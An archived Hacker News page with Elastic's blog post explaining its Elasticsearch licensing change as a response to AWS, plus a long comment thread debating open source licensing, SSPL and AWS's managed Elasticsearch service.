Hacker News with comments/articles inlined for offline reading

Authors ranked on leaderboard
Last updated:
Reload to view new stories

January 24, 2021 06:39



Front Page/ShowHN stories over 4 points from last 7 days
If internet connection drops, you can still read the stories
If there were any historical discussions on the story, links to all the previous stories on Hacker News will appear just above the comments.

Historical Discussions: Amazon: Not OK – Why we had to change Elastic licensing (January 19, 2021: 1456 points)

(1457) Amazon: Not OK – Why we had to change Elastic licensing

1457 points 5 days ago by buro9 in 10000th position

www.elastic.co | Estimated reading time – 5 minutes | comments | anchor

We recently announced a license change: Blog, FAQ. We posted some additional guidance on the license change this morning. I wanted to share why we had to make this change.

This was an incredibly hard decision, especially with my background and history around Open Source. I take our responsibility very seriously. And to be clear, this change most likely has zero effect on you, our users. It has no effect on our customers that engage with us either in cloud or on premises. Its goal, hopefully, is pretty clear.

So why the change? AWS and Amazon Elasticsearch Service. They have been doing things that we think are just NOT OK since 2015 and it has only gotten worse. If we don't stand up to them now, as a successful company and leader in the market, who will?

Our license change is aimed at preventing companies from taking our Elasticsearch and Kibana products and providing them directly as a service without collaborating with us.

Our license change comes after years of what we believe to be Amazon/AWS misleading and confusing the community - enough is enough.

We've tried every avenue available including going through the courts, but with AWS's ongoing behavior, we have decided to change our license so that we can focus on building products and innovating rather than litigating.

AWS's behavior has forced us to take this step and we do not do so lightly. If they had not acted as they have, we would not be having this discussion today.

We think that Amazon's behavior is inconsistent with the norms and values that are especially important in the open source ecosystem. Our hope is to take our presence in the market and use it to stand up to this now so others don't face these same issues in the future.

In the open source world, trademarks are considered a great and positive way to protect product reputation. Trademarks have been used and enforced broadly. They are considered sacred by the open source community, from small projects to foundations like Apache to companies like RedHat. So imagine our surprise when Amazon launched their service in 2015 based on Elasticsearch and called it Amazon Elasticsearch Service. We consider this to be a pretty obvious trademark violation. NOT OK.

I took a personal loan to register the Elasticsearch trademark in 2011 believing in this norm in the open source ecosystem. Seeing the trademark so blatantly misused was especially painful to me. Our efforts to resolve the problem with Amazon failed, forcing us to file a lawsuit. NOT OK.

We have seen that this trademark issue drives confusion with users thinking Amazon Elasticsearch Service is actually a service provided jointly with Elastic, with our blessing and collaboration. This is just not true. NOT OK.

When the service launched, imagine our surprise when the Amazon CTO tweeted that the service was released in collaboration with us. It was not. And over the years, we have heard repeatedly that this confusion persists. NOT OK.

When Amazon announced their Open Distro for Elasticsearch fork, they used code that we believe was copied by a third party from our commercial code and provided it as part of the Open Distro project. We believe this further divided our community and drove additional confusion.

More on this here. NOT OK.

Recently, we found more examples of what we consider to be ethically challenged behavior. We have differentiated with proprietary features, and now we see these feature designs serving as 'inspiration' for Amazon, telling us their behavior continues and is more brazen. NOT OK.

We collaborate with cloud service providers, including Microsoft, Google, Alibaba, Tencent, Clever Cloud, and others. We have shown we can find a way to do it. We even work with other parts of Amazon. We are always open to doing that; it just needs to be OK.

I believe in the core values of the Open Source Community: transparency, collaboration, openness. Building great products to the benefit of users across the world. Amazing things have been built and will continue to be built using Elasticsearch and Kibana.

And to be clear, this change most likely has zero effect on you, our users. And no effect on our customers that engage with us either in cloud or on premises.

We created Elasticsearch; we care about it more than anyone else. It is our life's work. We will wake up every day and do more to move the technology forward and innovate on your behalf.

Thanks for listening. If you have more questions or you want more clarification please read here or contact us at [email protected].

Thank you. It is a privilege to be on this journey with you.




All Comments: [-] | anchor

dustinmoris(10000) 5 days ago [-]

I really like Elasticsearch. I run it myself hosted in a Kubernetes cluster using the Kubernetes Operator developed by Elastic, so I'm one of the people who uses Elasticsearch extensively without being a paying customer, but to be fair that is part of the reason why I opted for it. I think Elastic has become victim of its own success if I may say so. Running Elasticsearch self hosted is fairly easy, either on actual hardware or VMs or in a container cluster. Their documentation is exceptionally good and the wide adoption means that a lot of issues people might run into have already been solved or answered on StackOverflow and other online forums. If Elasticsearch wasn't such a great product then Amazon would also struggle more with providing a managed version in their cloud.

I think trademark violations are pretty bad and a real punch below the belt, but I'm not a lawyer so I don't know if that is actually happening. Amazon also offers Redis as a service, so does Azure. They both have Redis in the name. They also offer MS SQL as a service, however that has a proprietary license which the end customer pays for so it's an unfair comparison. I wonder if the monetisation strategy, which is basically Elastic Cloud, is the best option for Elastic. They are essentially providing a mini managed Elasticsearch cluster which is away from the rest of the infrastructure which development teams are already maintaining. Of course they will be competing with Amazon then and likely going to lose, since Amazon has so much more. Other OSS products have found more lucrative and less costly monetisation models than operating your own cloud hosting provider. I hope Elastic will find a way to sustain themselves in a way which makes the owners happy, because their product is really good.

hello_moto(10000) 5 days ago [-]

> If Elasticsearch wasn't such a great product then Amazon would also struggle more with providing a managed version in their cloud.

They do struggle a little bit on their AWS ES offerings if you go across certain threshold.

> I wonder if the monetisation strategy, which is basically Elastic Cloud, is the best option for Elastic.

Redis has RedisLab (cloud) and I can tell you AWS EC Redis does eat some of their customers through various reasons.

Pet_Ant(10000) 5 days ago [-]

> Our license change is aimed at preventing companies from taking our Elasticsearch and Kibana products and providing them directly as a service without collaborating with us.

I feel like I just said this a few days ago: https://news.ycombinator.com/item?id=25796849

The main value of open source to businesses is that support is truly commodified and there is no one with a stranglehold on it. ElasticSearch is trying to remove what makes open source appealing to businesses. No one wants to build their infrastructure on something with expensive IBM/Oracle-costing support. Basically, from now on, ElasticSearch has removed that benefit from their product and businesses are at risk. It's now much less appealing... is the remaining niche profitable? Only time will tell.

Note, why businesses find open-source appealing is not why developers find it appealing, or private individuals.

viro(10000) 5 days ago [-]

>The main value of open source to businesses is that support is truly commodified

No, Thats not true at all. Most open source companies survive off of support contracts. It's why companies choose rhel over centos.

kemitchell(10000) 4 days ago [-]

> No one wants to build their infrastructure on something with expensive IBM/Oracle-costing support.

What's stopping you from running Elastic without paying for support under the new license?

tw04(10000) 5 days ago [-]

I'll be honest, I've never heard a single business say the reason they use open source is because support is commodified. It's generally cost or functionality, and quite frankly they want a go-to support expert, not a list of support options.

Redhat didn't become huge because people had all sorts of options for third party support. In fact, I can't say I've ever come across a single enterprise who: uses third party support for their RHEL installed base, has asked for third party support for their RHEL installed base.

StavrosK(10000) 5 days ago [-]

Apart from the general consternation about an OSS license becoming non-OSS, can we also talk about the problem that companies are formed, invest a whole lot of resources into creating a product, open-source it, and then have Amazon eat into their profits by just installing and maintaining that product as a service?

No matter how you slice it, I think Amazon is bad for us end-users, and Elastic is good. Elastic could have released ES as closed source, but they didn't, and the OSS ecosystem is better for it. They were hoping to make money off their product, which I don't think anyone can fault them for, but instead Amazon came in and took a bunch of that money while not giving anything back.

Now Elastic is not happy, and I wouldn't be either. As an end user, I'm grateful the circumstances exist that allow companies to make a living from OSS, and I want to encourage that. AWS is the fly in the ointment there, and I don't see how blaming Elastic for not giving us stuff for free any more is anything other than entitled. We should be grateful that ES is OSS at all, and we should want an environment where companies that produce OSS can thrive, instead of blaming them for wanting to get paid for the work that they release freely into the world.

Amazon hinders that, period. I don't think Elastic is in the wrong here, I think Amazon is.

pjc50(10000) 5 days ago [-]

This is almost, but not quite, the 'Tivoization' that prompted the creation of the GPL3.

The requirement to give something back and/or avoid taking profit from the work of others is something the OSS world has a complicated relationship to. GPL is quite clear that there's a requirement to pass on source changes, if not explicitly to give them back, and many people were outraged by even this limited requirement and instead chose licenses which imposed no requirements at all.

Similarly, people want their work to be used for free by everyone .. but haven't really considered that this results in them working for the Bezos fortune, for free. Or the US military, for free.

There aren't simple clear answers to these questions, only a slowly evolving discussion.

specialist(10000) 5 days ago [-]

Amazon convinces investors to eschew profits. Unusual. Result: lower cost of capital.

Amazon benefits from extended tax holiday. Result: lower cost of doing business.

Amazon appropriates FOSS. Result: lower cost of development.

Amazon knocks off successful products, competing with their own partners in their own walled garden. Result: lower cost of product development.

Amazon allows counterfeit products, fake reviews, and other fraud. Result: lower cost of operations.

Amazon uses gig workers. Result: lower cost of labor.

I'm sensing a pattern...

Amazon's success, their prime (pun!) advantage, is built on aggressively avoiding costs normally incurred by other businesses. They perfected WalMart's strategy.

Sure, they've done some clever stuff. Throw enough spaghetti, some of it will stick. Free shipping with Prime membership is akin to Tencent's freemium (genius). And figuring out how to sell excess capacity was cool.

I'm sure a lot of other leaders would share Bezos' tolerance for risk, commitment to long term plans, if only they weren't micromanaged by Wall St.

spullara(10000) 5 days ago [-]

If you ask me, these license changes are bait and switch. If they had started with this license it wouldn't have the same adoption, now they are pulling it.

lacker(10000) 5 days ago [-]

Amazon came in and took a bunch of that money while not giving anything back.

Amazon is giving a lot back to the community, though. They are providing a really valuable service when they provide open source software as a service. They aren't giving back to Elastic the company, but it's important to note the difference, because Amazon isn't being a bad actor here. I think it's reasonable for both Amazon and Elastic to act the way they do, and I think the competition between their respective business models will end up in a better set of products available to developers.

7952(10000) 5 days ago [-]

Would anyone consider licenses the specifically exclude certain companies?

tolmasky(10000) 5 days ago [-]

I don't think there's 'right' and 'wrong', but bizarre (entitled?) expectations. A natural part of Open Source is that someone may come in and make way more money off of something than you do. In fact, Amazon makes way more money off of Linux than Linus ever did. But you don't even have to go that far, many completely unrelated YC companies made way more money off of Linux than Linus did, and could arguably have not pulled that off without Linux being a free OS that you don't even have to think about since it's so ingrained in hosting. But when the intent of Open Source is 'to increase the quality of software around the world', this is considered a good result. However, when the intent of Open Source is some nebulous initial hyper-growth to then hope you can offer hosting, the expectations just aren't set correctly. Unfortunately, the open source strategy does not magically offer the right result based on the intent of the author.

If Linus all of a sudden woke up tomorrow and said 'Hey, I just realized that I'm not being paid a cut by literally every single company in Silicon Valley, that is NOT OK, I am going to shift gears and remove non-contributor code and start releasing Linux as closed source from now on', I feel people would be less forgiving than they are to these much less impactful companies. But Linus would be as 'right' as they are, arguably more so.

Many of these companies are simply learning that maybe all those 'dinosaurs' of the 90s might have been onto something with commercial licensing, which ultimately seems to be what they actually want: to charge money for their software. Sure, it doesn't get you free contributions and ready-made communities, but it gets you money, which is what a company is supposed to do. And that's fine! It's just not Open Source.

pythonaut_16(10000) 5 days ago [-]

> Amazon came in and took a bunch of that money while not giving anything back

Amazon took no money from them; they competed on potential revenues.

I think people are upset, not because they don't clearly understand Elastic's motivations, but because Elastic is trying to paint Amazon as the bad guy for using the license Elastic offered. Amazon benefited from Elastic's open license, but so did Elastic. Being open source has greatly benefited Elastic's own business and growth.

That isn't to say that Amazon's size and practices around open source aren't cause for concern, just that Elastic come across as very disingenuous when they try to lay all the blame on Amazon while proclaiming how dedicated they are to 'openness'.

finikytou(10000) 4 days ago [-]

Your argument that Elastic could have released ES closed source and did us a favor is not a valid one.

They released ES open source so that they could leverage the community + an open source tool (lucene) to build their tool and later on their company.

If not for the open source they would be just a random actor in search and SOLR would likely be a better tool than it is now.

Also by your logic elastic did to lucene what aws did to elastic...

35fbe7d3d5b9(10000) 5 days ago [-]

> companies are formed, invest a whole lot of resources into creating a product, open-source it, and then have Amazon eat into their profits by just installing and maintaining that product as a service?

Why should we be mad at Amazon for adhering to the terms of the license that the ES developers chose?

Software isn't born under the terms of Apache 2/MIT/BSD/a similarly permissive license. The people who developed it chose that license.

tootie(10000) 5 days ago [-]

From a purely utilitarian perspective, I can live without Elastic far easier than I could live without AWS. From a legal perspective, AWS are faultless in using OSS for their own purposes. The only losers are Elastic's investors. And there's no way they couldn't have seen this coming with their business model as it is.

nenolod(10000) 4 days ago [-]

Amazon contributed code to Elasticsearch. They are certainly allowed to profit from their code contributions.

ryanmarsh(10000) 5 days ago [-]

On the one hand I don't like the idea of a company like Amazon exploiting (in the classic sense) open source. I've not seen Amazon give much back to open source relative to what they've gained.

On the other hand if you open source something with a license that permits selling the software, well... what do you expect? You gotta hand it to Amazon. They've really hustled the industry by hosting open source code. The code is free, literally anybody else could have done this, but Amazon did it especially well.

cratermoon(10000) 5 days ago [-]

Amazon has become known for copying products and selling them as Amazon Basics. They either kick the original product off their platform or undercut the prices so drastically the original seller goes out of business.

https://fortune.com/2016/04/20/amazon-copies-merchants/

judofyr(10000) 5 days ago [-]

> Apart from the general consternation about an OSS license becoming non-OSS, can we also talk about the problem that companies are formed, invest a whole lot of resources into creating a product, open-source it, and then have Amazon eat into their profits by just installing and maintaining that product as a service?

Ten years ago I would be very hesitant adopting ElasticSearch if I knew that they were the only ones allowed to maintain a cloud solution of it. The fact that is was liberally licensed made me less afraid of vendor lock-in.

In my opinion it seems like Elastic wants ElasticSearch to still be perceived as the fully open source project (with all of its good connotations) it once was.

> AWS is the fly in the ointment there, and I don't see how blaming Elastic for not giving us stuff for free any more is anything other than entitled. We should be grateful that ES is OSS at all, and we should want an environment where companies that produce OSS can thrive, instead of blaming them for wanting to get paid for the work that they release freely into the world.

It's okay to release things as non-OSS. It's also okay to release something as OSS first, and then regret later. But it's super weird that they're painting this picture of AWS being a big evil company when they're just doing exactly what is expected. Can't they just say 'we're not able to build a company around the liberal license' instead of this 'we're such an open company and we love open source and AWS is ruining everything' talk?

closeparen(10000) 4 days ago [-]

If not AWS it could have been anyone. This is an inherent vulnerability in the open source business model: there's no particular reason that upstream developers would be the best at hosting or consulting on their own stuff. You can afford to give the client more attention/hardware for their money if you don't have to also pay developers.

babarock(10000) 4 days ago [-]

What's the point of 'open sourcing' if you get annoyed at people redistributing your work? Honest question here.

I'm really not interested to know who's in the 'right' or in the 'wrong'. I want to know, what's the motivation for opensource if not 'reuse my code please'

delfinom(10000) 5 days ago [-]

Amazon is executing EEE in modern times, it's brilliant nobody sees it.

They are moving onto the 'Extend and Extinguish' phase with elastic.

cortesoft(10000) 5 days ago [-]

> Elastic could have released ES as closed source, but they didn't, and the OSS ecosystem is better for it.

Except elasticsearch was created before the company Elastic even existed. They couldn't have released it as closed source because they weren't there to release it at all.

It was written by one guy and it was based on previous open source code in Lucene.

I am ok with them making money off their project, but it isn't like they are owed a billion dollar company for their work.

VoxPelli(10000) 5 days ago [-]

I think both are at fault. Amazon for provoking this and Elastic for over-reacting like this and totally break with the open source licensing, when that isn't necessary to stop Amazon. They could do like MariaDB rather than follow MongoDB: https://perens.com/2017/02/14/bsl-1-1/ Would be much more appropriate and alienate the open source community much less.

iamsb(10000) 4 days ago [-]

Is there a common theme that can be addressed by adding restriction which can stop distribution as a cloud service in MIT/other licenses?

This is a question, and not a informed opinion/suggestion.

dumbfounder(10000) 5 days ago [-]

And Elastic was built on top of Lucene.

I slice it this way: as a company that is highly invested in AWS it is easier for us to deploy AWS ElasticSearch service than to use Elastic's cloud offering or set it up ourselves. But that doesn't mean I like it. Or are you talking about a different end user?

worik(10000) 4 days ago [-]

The point of Free Software is, in part, that other people can use it.

That includes nice people like you and me

It includes reprobates like Amazon

The horrid games they were playing with trade marks is part of why Amazon is a reprobate.

ignoramous(10000) 5 days ago [-]

Elasticsearch became popular on back of being F/OSS. The 'our code' Shay talks about is community's too: All the evangelizing through blog posts, talks; and the countless hours spent reporting bugs or even fixing them. If anyone thinks a community's contributions are any less than their own company's, then they don't get to claim to be torch-bearers of F/OSS (which Elastic is without realizing the irony).

Shay keeps claiming 'our users' aren't affected, but who's he fooling? They say, AWS cornered them to adopting dual-license SSPL, what's to say they woudln't do an Oracle in the future (like Sun did with Java and continue to do with their DB offerings?). Slippery slope, sure, but it is indeed slippery for a company struggling to compete with competition and seeking predatory avenues as last ditch attempt to stay alive.

I believe, in all my naivety, that Elastic could have created an Elastic Foundation (like Joyent did with NodeJS, who btw didn't throw a hissy-fit at AWS for Lambda) and invited developers from all walks to shoulder the burden of the core software (which they themselves commoditized by F/OSSing it) so that they could focus on SaaS (like AWS).

I'd like to think, Elastic's real problem is they have hard time competing with AWS in terms of pricing for SaaS (of course, AWS owns infrastructure and so it is a tough battle-front), but if they were paying any attention, AWS Elasticsearch Service was very poor in 2015 and continued to remain so for a long time (it sucks less now), but Elastic's own service wasn't up to the mark, either. I think they misplaced their priorities (see GCP's flawless execution with k8s, managed-k8s, and Anthos) and were caught asleep at the wheel when they could have captured SaaS market away from AWS in those interim years (2015-19) by focusing solely on differentiated features and not on the core Elasticsearch software (which was libre and hence undifferentiated).

Of course, Shay and Elastic know better than I do and I am indeed a grumpy developer who's upset, but I want Elastic to give up their misleading messaging viz. 'doesn't affect / nothing changes for our users'. They're being hypocritical and not doing anyone any favours.

> And to be clear, this change most likely has zero effect on you, our users. And no effect on our customers that engage with us either in cloud or on premises.

No, Shay. It does affect the community, who are also the users of the software.

> We created Elasticsearch; we care about it more than anyone else. It is our life's work. We will wake up every day and do more to move the technology forward and innovate on your behalf.

I see a lot of 'We's and 'Our's. And that's the problem with CLAs and stealing someone else's work. Companies can't tell anymore who's stealing from whom.

0800LUCAS(10000) 5 days ago [-]

> by just installing and maintaining that product as a service?

You are seriously underestimating the value Amazon provides by 'just installing and maintaining' those services. Maintaining a service at the scale they offer is a huge undertaking.

You get the high-availability, the hundreds of engineers working to keep those services up and make them talk to other AWS services easily. You get teams of engineers on-call to react to any failures.

I agree with you that this has a bad effect on the companies that originally created those projects, but I do see a huge value in what Amazon offers.

tinyhouse(10000) 4 days ago [-]

The core of Elastic-search is Lucene, another OSS. I'm sure the ES team contributed a lot to Lucene, but do they share their profits with all the Lucene developers? You can think about Elastic as a hosted service around Lucene.

acatton(10000) 5 days ago [-]

> Elastic could have released ES as closed source, but they didn't, and the OSS ecosystem is better for it.

A relevant question is 'would they have been that successful if Elastic were 'just another closed source enterprise product'.'

Elastic was successful because a lot of companies tried it out for free and then purchased licenses, or because hobbiysts used it on their personal project and then pushed for it at work.

Lazare(10000) 4 days ago [-]

> No matter how you slice it, I think Amazon is bad for us end-users, and Elastic is good.

I don't think that's clear. I (and the team I work with) use AWS, like so many of us do. (And the ones who don't very likely use Azure or GCP.)

Why do we give money to AWS (and their kin) every month? I'd submit it's because we're getting value from it. If AWS was actually bad for end users then we, as end users, would walk away.

If you were right, and AWS was bad and Elastic is good, this would be an easy problem. But actually, they're both good. The issue is people who paid AWS to host ES instead of Elastic, and you know who those people are? Us. And with reason!

sriku(10000) 4 days ago [-]

There are other products that are at similar enough risk that this angle should be taken seriously - ex: https://dgraph.io and https://materialize.com .

goatinaboat(10000) 4 days ago [-]

AWS is the fly in the ointment there

No, many SaaS providers have discovered that it's the back door in the GPL, Google were the leaders in this field. AWS is egregious but they didn't invent doing this.

eins1234(10000) 4 days ago [-]

I don't really want to get into the moral rabbit-hole of who's right and wrong as that's clearly super controversial and subjective.

But I did want to add my personal anecdote to serve as a canary-in-the-mine on what effect the status quo could perceivably have on the proliferation of open source software over the long term:

I think we can all agree on the basic premise that having more open source software is a good thing for society.

For the longest time I dreamed of creating my own open source tools and products and simultaneously monetizing it to create a comfortable life for myself and maybe even eventually turning it into something bigger, and leave my mark on the world.

However, as the years past and events like ElasticSearch v Amazon unfolded, I became more and more disillusioned on the realistic prospects of such an outcome.

Today, I'm in the process of building something that would probably see more success in terms of adoption and do more good in the world if it's released as open source software, but at this point I've basically made up my mind to release it as proprietary software to have a realistic shot of monetizing it to achieve financial independence and eventually build a company around it.

Basically I've weighed the tradeoffs and chose to put my own ability to capture the value of what I created over trying to maximize the value my software could create if open sourced.

This was not a easy decision for me to make, but I suspect I'm not alone in having thought about these tradeoffs and reaching these same conclusions. And as more and more people witness the struggles of companies trying to build viable businesses on top of open source software, more and more people could make the same decision, and thus society would be robbed of all the value that having these pieces of software as open source could have created.

I think the chilling effect these kinds of case studies have on the proliferation of new open source software, and the loss incurred by society as a whole as a result, is at the core of what we should be trying to figure out a solution for, not some philosophical discussion around who's in the right or wrong.

z77dj3kl(10000) 5 days ago [-]

'And to be clear, this change most likely has zero effect on you, our users. It has no effect on our customers that engage with us either in cloud or on premises.'

No, that's just not true. So many users, from small hobby side-projects, to large open source projects, and mega-corps care about the licensing of dependencies, each for their own reason, and will not want to build on top of proprietary software that imposes draconian licensing terms.

It doesn't matter what they say, read the license. It's vague and there is no legal precedent. It's a big risk for anyone who cares about licensing issues for their projects.

api(10000) 5 days ago [-]

The open source world needs to come together and create a license that is well crafted. Otherwise we will keep seeing these less suitable licenses.

So far the FOSS world seems to be pretending this problem doesn't exist. Pretending a problem doesn't exist doesn't make the problem go away. It makes you go away as you become irrelevant.

There is the AGPL, but it's not quite right. It also has the letters G-P-L in it, which spooks a ton of people still influenced by Microsoft's billion dollars worth of anti-GPL FUD. (I'm convinced you could just rename the GPL and all those problems would go away.)

hodgesrm(10000) 5 days ago [-]

> It doesn't matter what they say, read the license.

I would love to but the terms within the ElasticSearch codebase on Github are quite confusing. Here's the text of the LICENCE.TXT file.

  Source code in this repository is covered by one of three licenses: (i) the
  Apache License 2.0 (ii) an Apache License 2.0 compatible license (iii) the
  Elastic License. The default license throughout the repository is Apache License
  2.0 unless the header specifies another license. Elastic Licensed code is found
  only in the x-pack directory.
  The build produces two sets of binaries - one set that falls under the Elastic
  License and another set that falls under Apache License 2.0. The binaries that
  contain `-oss` in the artifact name are licensed under Apache License 2.0 and
  these binaries do not package any code from the x-pack directory.
Aside from not showing copies of the applicable licenses, it seems you have to read the code headers to determine which source file has which license. There are a lot of ways to respond to competitive threats from Amazon, but this approach is increasingly chaotic the closer you look.

[1] https://github.com/elastic/elasticsearch/blob/master/LICENSE...

signal11(10000) 5 days ago [-]

If you're a paying customer, you are probably fine.

If you're using SSPL'd Elastic (or Mongo DB, the risks are the same) for anything serious -- i.e. beyond a hobby, get legal advice ASAP.

SSPL isn't an OSI certified license; many would call it at best a 'shared source' license because of the riders attached.

[DELETED because, as user `gpm` points out, OSI doesn't own 'open source' as a trademark, sorry about that -- the need for legal advice doesn't go away, however.] In fact given their kvetching about Amazon and their trademark, Elastic's cheerleading of open source in this and the original blog post seems to be a bit misleading and doing OSI's trademark a disservice.[/DELETED]

jameshilliard(10000) 5 days ago [-]

Yep, it's also incompatible with virtually all copyleft open source licenses. So if you were using any AGPLv3 code with elastic you now have to switch to Amazon's fork.

alex_young(10000) 5 days ago [-]

This lack of clarity in law will likely result in huge issues in the sale of your startup if you ever go that route. Who wants to buy a potential lawsuit because of a database selection?

prepend(10000) 5 days ago [-]

I find these kind of obscure, "don't worry" posts to increase my worrying. Part of the simplicity of open source is that it's available for easy audit. Having to hire lawyers to use a product means I probably won't use it.

I also think having people saying "we're open, but read the fine print" is not good for open source collaboration as it increases confusion and complexity.

Elastic is moving the way of a commercial software company. That's perfectly fine as it's their company, but it's just different than open source.

dvfjsdhgfv(10000) 5 days ago [-]

So what would be your advice for them in this situation? They are developing a product for Amazon for free, Amazon is making tons of money on it and they don't receive anything back.

luisfmh(10000) 5 days ago [-]

So what should we be using instead of elasticsearch for logs? To mitigate that licensing risk?

franciscop(10000) 5 days ago [-]

The problem of the known open source licenses (vs this no-precedent one) is that they were made long time ago for other situations and they do a poor job at protecting open source authors from the abuse that we see from Amazon and similar.

sireat(10000) 5 days ago [-]

Elastic has the same problem that MongoDB has with Amazon: Amazon is commoditizing their product on a massive scale.

'Smart companies try to commoditize their products' complements.'

https://www.joelonsoftware.com/2002/06/12/strategy-letter-v/

Not sure what other alternatives are there besides changing licensing.

Seb-C(10000) 5 days ago [-]

Given that aws just built DocumentDB, I am not sure if the licensing changing anything. I would even say that this choice actually hurts MongoDB because I am less likely to choose it since they have less practical hosting solutions.

mrsuprawsm(10000) 5 days ago [-]

I recently ran a project to compare AWS Elasticsearch and Elastic-hosted ES.

Surprisingly, we found that AWS did better for our use-case. Better IaC - easy to set up clusters with Terraform, and associated alerts. Better monitoring and easier setup. Better price/performance. AWS is obviously lower friction from a purchasing point too once you're already an AWS user.

This makes me curious if Elastic are shooting themselves in the foot a bit here.

mintplant(10000) 5 days ago [-]

Why would they be shooting themselves in the foot? From their perspective, Elastic doesn't get anything out of your going with the AWS offering, and Amazon's behemoth-level resources allow it to outcompete Elastic's own hosted offering, as you found, while contributing nothing back to cover development costs of the software itself.

donretag(10000) 4 days ago [-]

I have been using Elasticsearch for over ten years and have seen a few of the hosted versions. For many years, AWS was running way behind. A few major versions behind, almost no options. No one used it. The ES version was not great, but it was way better than the AWS version.

Fast forward to 2021 and the AWS version is as seamless as most of their offerings. Works with the VPC, backing stores. You can set it up with CloudFormation/CDK. ES has stagnated.

samblr(10000) 4 days ago [-]

What gets often never discussed in these debates is below :

The sheer inability of OSI to provide a new-age license that can counter AWS.

Can anybody knowledgeable shed some light on this topic ? Like what OSI license can counter AWS & if there are none why aren't OSI doing anything.

kemitchell(10000) 4 days ago [-]

I'd argue this is pretty much what SSPL was supposed to be: https://writing.kemitchell.com/2019/06/13/SSPL-Not-Commons-C...

It's no secret AGPL was written to solve 'the Google problem'. SSPL tried to solve 'the AWS problem' with copyleft, rather than just banning the use case, which is what Commons Clause did.

andrewshadura(10000) 4 days ago [-]

Because what Amazon does here is perfectly okay and in the spirit of open source.

JCM9(10000) 5 days ago [-]

Elastic's arguments are problematic considering the history of the codebase.

They didn't invent "elasticsearch" from scratch, rather they took someone else's codebase (Lucene) and made it better. Fundamentally that's what AWS did too... they took open source code and improved on it to offer a very popular managed service. Elastic seems annoyed that AWS has executed better on the managed service front but aren't offering up strong reasons for this being "NOT OK". Elastic was happy to use code and concepts from others to build their product but seem annoyed when others did the same to them. I don't get it.

The brand name thing might have more weight but it will come down to if they were truly enforcing the name the whole time they owned it or are just annoyed with AWS. If the name fell into common use they they likely won't have much luck protecting it.

Yeroc(10000) 4 days ago [-]

Lucene is a pretty low-level search library. It has no concept of clustering etc. etc. What ElasticSearch built on top is far from trivial. Furthermore, ElasticSearch pays a number of people to contribute back to the Lucene project.

As far as I know AWS hasn't contributed any code of note back to ElasticSearch or Lucene.

nrmitchi(10000) 5 days ago [-]

I'm really starting to dislike this notion of 'Oh well Elastic deserves this since they build on an open source project, Lucene!'

There are two main differences here.

1. The scope of the change. My understanding is that Elasticsearch may use Lucene under the hood, but extends it in ways and for use cases that Lucene was not designed for. The same can not be said about AWS taking Elasticsearch and running it as a drop-in replacement.

2. Perhaps most importantly, Elasticsearch didn't build on top of Lucene, and then decide to call itself Lucene. If you think there is so little differentiation between the product you built and the product you built off of, that you are better off highjacking the name, then I question if you made any meaningful differences.

josho(10000) 5 days ago [-]

This is fine.

No seriously. Hear me out.

If you are a proponent of capitalism then this is how the system works.

The little fish grow into big fish. The big fish eat the little fish. The ecosystem suffers.

It has always been this way. Many of us remember Microsoft in the nineties. Fewer will remember the phone or oil industry doing the same.

Don't fight this issue. Fight the system that tolerates this pattern. Money in politics, high cost of litigation are both the real concerns.

InfiniteRand(10000) 4 days ago [-]

Meh, I'm not convinced that other systems will be fundamentally better

Humans are flawed, the systems they build will be flawed, flaws will wax and wane with circumstances, possibly waxing to the point of intolerability and then they break and are replaced with something else.

Paradise remains fundamentally always out of reach.

And yet there are good moments, good relationships, little pieces of life that are priceless. So I think it makes sense to carve out little niches in life where things work nicely or to try to make things work better on small issues.

indymike(10000) 5 days ago [-]

Capitalism is simply an economic system defined by private ownership of the means of production. I'm not sure you are using capitalism correctly here.

adamcstephens(10000) 5 days ago [-]

Your examples from the past were all knocked down (MS) or broken apart to keep the market available to competitors. Are you saying we should do this or just get money out of politics?

whitepaint(10000) 5 days ago [-]

There are no better alternatives.

And about the ElasticSearch, they should have just used a different license.

longhairedhippy(10000) 5 days ago [-]

Could this potentially drive users to the Amazon fork? If I'm a business that may be impacted due to the licensing change, it would seem my safest (legal) option would be to freeze on the last version with a friendly license and then transition to the Amazon fork, since it will probably stay under a more open license. While maybe not the smartest technical decision, from a business standpoint it seems like a reasonable insurance policy, at least until someone else tests the waters in court.

Amazon doesn't have any interest in making their version closed because they want the money from hosting. Even if the product isn't that great, it's super easy if I'm already 100% in on AWS anyway (not necessarily reality, but it is an easy conversation to have and the service should be big enough to warrant investment from AWS).

I applaud the stand they are taking and it will be interesting to see how this plays out.

znpy(10000) 5 days ago [-]

> Could this potentially drive users to the Amazon fork?

If they're dumb, yes.

As stated in their blog, changes apply pretty much only if you're either embed or redistribute elasticsearch/kibana. And these are two specific use-cases btw.

If you're already a customer, nothing changes.

shawnz(10000) 5 days ago [-]

Open Distro is not a fork but simply a repackaging of ES with some additional modules.

However there doesn't seem to be many options left now but for Open Distro to become a complete fork of ES.

c0l0(10000) 5 days ago [-]

The notion of Open Distro for ES being 'a fork' is, in my opinion and as of last I checked, overblown. Yes, they bundle a bunch of freely licensed stuff to make up for features that Elastic themselves have paywalled off (or sealed behind their free-to-use, but non-libre, custom license where they don't show/include sources either), but they rely on and effectively install the (hitherto) Apache-licensed upstream release of ElasticSearch, as published by Elastic.

Also, if you take a closer look at Open Distro, you will quickly come to the conclusion that you really do not want to deploy what drops out of there. The RPM package does CRAZY stuff that made me exhale audibly enough for coworkers to notice - like spawning a postinstall shellscript that `wget`s a .so for/from an optional library that the Open Distro release team put into an S3 bucket, and then `mv`ing that downloaded file (iirc even without any content verification; so the content could be your proxy's captive portal markup, for all they know) into (again, iirc) /usr/lib. That is from WITHIN AN RPM PACKAGE, mind you, where you could and should really just carry that file yourself.

That and other minor troubles with the tooling surrounding the actual product (ES) made me abandon Open Distro fairly quickly. Which is a shame, since a really freely licensed spin of ES with 'Enterprise' features would indeed be very nice to have.

mintplant(10000) 5 days ago [-]

> Could this potentially drive users to the Amazon fork?

Um, about that...

> When Amazon announced their Open Distro for Elasticsearch fork, they used code that we believe was copied by a third party from our commercial code and provided it as part of the Open Distro project. We believe this further divided our community and drove additional confusion.

neilsense(10000) 5 days ago [-]

Why does this read like a child wrote it?

sn_master(10000) 5 days ago [-]

I agree, I felt it was written very quickly without much editing or review.

netdur(10000) 5 days ago [-]

emotion / hurt

CaptArmchair(10000) 5 days ago [-]

I think I have grown a rather hard stance on this over the years: putting an open source license on a product isn't a business model. It's, by and large, a part of a larger business model.

A license is a choice. It means you choose to not gain revenue by directly licensing the IP. Instead, you choose to put the code out there without any further legal obligations on your part as well as those who use that code.

